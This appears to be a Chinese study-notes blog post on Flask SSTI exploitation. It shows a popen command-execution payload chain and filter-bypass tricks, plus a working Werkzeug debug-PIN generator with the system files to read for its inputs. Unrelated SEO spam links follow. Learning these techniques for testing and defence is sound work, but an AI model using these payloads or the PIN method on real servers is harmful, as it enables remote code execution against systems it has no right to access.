当前位置: 首页 > wzjs >正文

桐庐城乡建设局网站电脑上突然出现windows优化大师

桐庐城乡建设局网站,电脑上突然出现windows优化大师,做网站和app哪类商标,成都网站建设索q479185700文章目录 基础知识SSTI利用条件验证SSTI是否存在验证console码SSTI类引用机制过滤的绕过.被过滤下划线被过滤中括号被过滤过滤了{{过滤了单引号或者双引号过滤了数字关键字被过滤 基础知识 python的模块引用,优先引用当前目录下的模块,比如from pwn imp…

文章目录

  • 基础知识
  • SSTI
    • 利用条件
    • 验证SSTI是否存在
    • 验证console码
    • SSTI类引用机制
    • 过滤的绕过
      • .被过滤
      • 下划线被过滤
      • 中括号被过滤
      • 过滤了{{
      • 过滤了单引号或者双引号
      • 过滤了数字
      • 关键字被过滤

基础知识

python的模块引用,优先引用当前目录下的模块,比如from pwn import pwn,如果脚本的名字是pwn.py,会自己引用自己,从而报错
r’a\nbb’,原封不动输出,取消转义
匿名函数:lambda表达式,x=lambda a,b:a+b,x(3,3)实现函数调用
flask:python的一个中间件,提供http服务

  • static作为flask默认的静态文件目录,在访问时不会通过路由解析,而是直接通过文件读取
  • flask在进行渲染时(相当于格式化字符串,把想要的内容放进{}中),此时可以解析html代码,也可以通过特殊函数将传入的字符串当作python脚本解析

SSTI

利用条件

  1. 渲染的字符串可控,不被过滤
  2. 利用render_template_string函数参数可控,或者部分可控
  3. render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法
  4. render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证SSTI是否存在

  1. {{2*2}}看是否有计算结果
  2. {{config}}看能不能看到配置项

验证console码

如果服务器开启调试,就可以进入到console界面,输入正确的pin码就可以执行python语,如果有可以进行文件读取的点,就可以拼接出pin码

计算PIN码,需要private_bits 和public_bits
分别需要确定的是:

  1. python运行的脚本名
  2. 固定值 flask.app
  3. 固定值 Flask
  4. 当前脚本运行的绝对路径 可以从报错获取
  5. uuid.getnode
  6. machine_id
import hashlib
from itertools import chaindef getPIN(public_bits,private_bits):rv = Nonenum = Noneh = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits=['Administrator','flask.app','Flask','D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'
]private_bits=['197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c']PIN = getPIN(public_bits,private_bits)print(PIN)

linux下
getNode读取的文件 /sys/class/net/eth0/address,需要将其转换为十进制
machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接

SSTI类引用机制

字符串,列表,元组等类型都有自己所属的类,比如字符串,通过"".__class__拿到str类,再通过.__base__拿到object对象,相当于去到二叉树的根节点,通过这个结点可以向下找到其他有用类,比如.__subclass__拿到子类,假如我们已经拿到os类,就可以调用os类的一些方法

_init_._globals_[‘popen’](‘calc’) 调用os类的popen方法,执行calc参数

过滤的绕过

.被过滤

可将.class替换为[‘class’]

下划线被过滤

set a =(()|select|string|list).pop(24),此时a就是下划线
十六进制\x5f绕过

中括号被过滤

采用._getitem_(132)替代中括号

过滤了{{

采用{%绕过

过滤了单引号或者双引号

采用传参绕过
_init_._globals_[request.args.a](request.args.b).read()

过滤了数字

采用字典绕过,构造出1 {{(dict(e=a)|join|count)}},还可以使用全角数字绕过

关键字被过滤

采用拼接法绕过

http://www.dtcms.com/wzjs/270510.html

相关文章:

  • 网站开发语言总结有哪些学编程的正规学校
  • 中英文的网站是怎么做的2021百度模拟点击工具
  • 响应式网页南宁seo网络优化公司
  • 网站域名更换是怎么做的seo的优化方案
  • web开发是网站开发嘛1站长统计在线观看
  • 网络科技公司网站建设策划优化大师 win10下载
  • 专业网站建设公司用织梦吗社群营销方案
  • web开发培训哪家好360seo优化
  • 7免费网站建站故事式的软文广告例子
  • 邯郸网站建设网络公司刷推广链接人数的软件
  • 可以免费下源码的网站文案代写在哪里接单子
  • 设计公司展厅装修搜索引擎优化的方式
  • php网站开发心得体会搜索引擎是什么意思啊
  • 贵州贵阳疫情最新消息长春seo排名公司
  • 唐山网站建设唐山做网站bittorrentkitty磁力猫
  • 电商网站代码模板优化资讯
  • 做一借款撮合网站凌哥seo技术博客
  • 做网站把自己做死华为seo诊断及优化分析
  • 国外专门做美女车模的网站徐汇网站建设
  • 怎么做百度快照让网站排前面2022年最火的新闻摘抄
  • 景区网站做电子商务的特点东莞网络科技公司排名
  • 新房网站建设公司关键词排名优化公司
  • 微网站开发工具seo文章优化方法
  • 开店做网站seo优化关键词是什么意思
  • 天津seo网站设计seo外链怎么做
  • 找工作哪个网站最真实搜索关键词网站
  • 安徽省政府门户网站建设sem是什么牌子
  • 上地网站制作快速排名工具免费查询
  • 四川建行网站象山关键词seo排名
  • 免费1级做看网站猪八戒网接单平台